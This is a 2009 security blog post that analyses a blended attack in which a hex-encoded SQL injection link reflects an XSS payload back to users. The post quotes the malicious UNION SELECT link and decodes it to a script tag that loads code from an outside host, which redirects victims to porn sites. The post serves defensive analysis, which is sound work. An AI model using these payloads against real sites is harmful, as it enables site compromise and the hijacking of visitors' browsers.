Blended Attacks: Reflected XSS Attack via SQL Injection

Submitted By Ryan Barnett 04/06/2009

More and more of today's web application attacks are leveraging multiple weaknesses/vulnerabilities or attacks in order to achieve a desired exploitation outcome. It is becoming more and more difficult to neatly place an attack into one specific container (such as XSS, SQL Injection, etc...) and instead include many issues together.

One great example of this that I recently ran into was an attack scenario posted to the SANS Advisory Board mail-list. The user had setup some Google Alerts to monitor his public facing web site. He didn't specify the details, however it is assumed that he was attempting to monitor for traditional Google Hacking infoleakage types of problems. In this particular case, the user received a Google Alert email with an odd looking link pointing to a resource on one of his site. The link looked as follows -

<a style=3D"color: blue" href=3D"http://munge.munge.edu/new_skills/workshop/info.php?
wid=3D0+union+select+0x3c736372697074207372633d22687474=703a2f2f
747261662e696e2f632e706870223e3c2f7363726970743e,0x506f726e20747
261=696c657273,0,0,0x416d61746575722073657820766964656f73/*">
Workshops</a><br>

At first glance, it is easy to see that if the user clickes on this link that it would send an SQL Injection attack (due to the union and select keywords and formatting) aimed at the "wid" parameter of the "info.php" web page. What isn't so apparent is the data that is being extracted from the database. The union/select command combination is normally used by attackers to extract data from a DB however this sql query is not specifying any specific tables or columns. The user described that if the link is actually clicked on (which was a bad idea as it actually launched the attack), then the user would be redirected to some porn sites.

So what is happening here?

The data within the SQL Injection query payload is actually Hex encoded. If you decode this data, you will see the following data -

<script src="http://traf.in/c.php"></script>,Porntrailers,0,0,Amateur sex videos/

This javascript would instruct the user's browser to access the c.php script on the traf.in website. If you access this page, it runs some obfuscated javascript which will redirect the user to - http://traf.in/in.cgi?18 - where the number passed to the in.cgi script is a different destination porn site.

The ultimate goal with this attack is to force users to visit these porn sites. The methodology used is -

1. Attacker identifies a website that has an SQL Injection vulnerability.
2. They then place web links, that contain the SQL Injection payload targeting the vulnerable site, on other web site.
3. Googlebot then crawls the attacker's sites and index's the attack weblink.
4. Anyone running Google searches or in this case who has a Google Alert setup that matched, will receive this malicious link.
5. If they click on the link, they will launch an SQL Injection attack against the website.
6. If the SQL Injection is successful, the database will Hex decode the malicious javascript payload and present the data back to the user in html page.
7. The user will then be redirected to a porn site.

So, while SQL Injection was used in this attack, it was merely a means to an end. It was used as the Reflected XSS target so that it could transform the malicious XSS javascript payload from Hex and send it to the user. This is rather interesting as an evasion mechanism as both Google and the target website may have some basic XSS filters in place to do some input validation blacklisting and this payload might bypass it.

The concept of using SQL Injection as an XSS mechanism to distribute malicious code started with the Mass SQL Injection Bots (Stored XSS as opposed to Reflective XSS in this case) and appears to be continuing as bad guys figure out more and more ways to monetize it.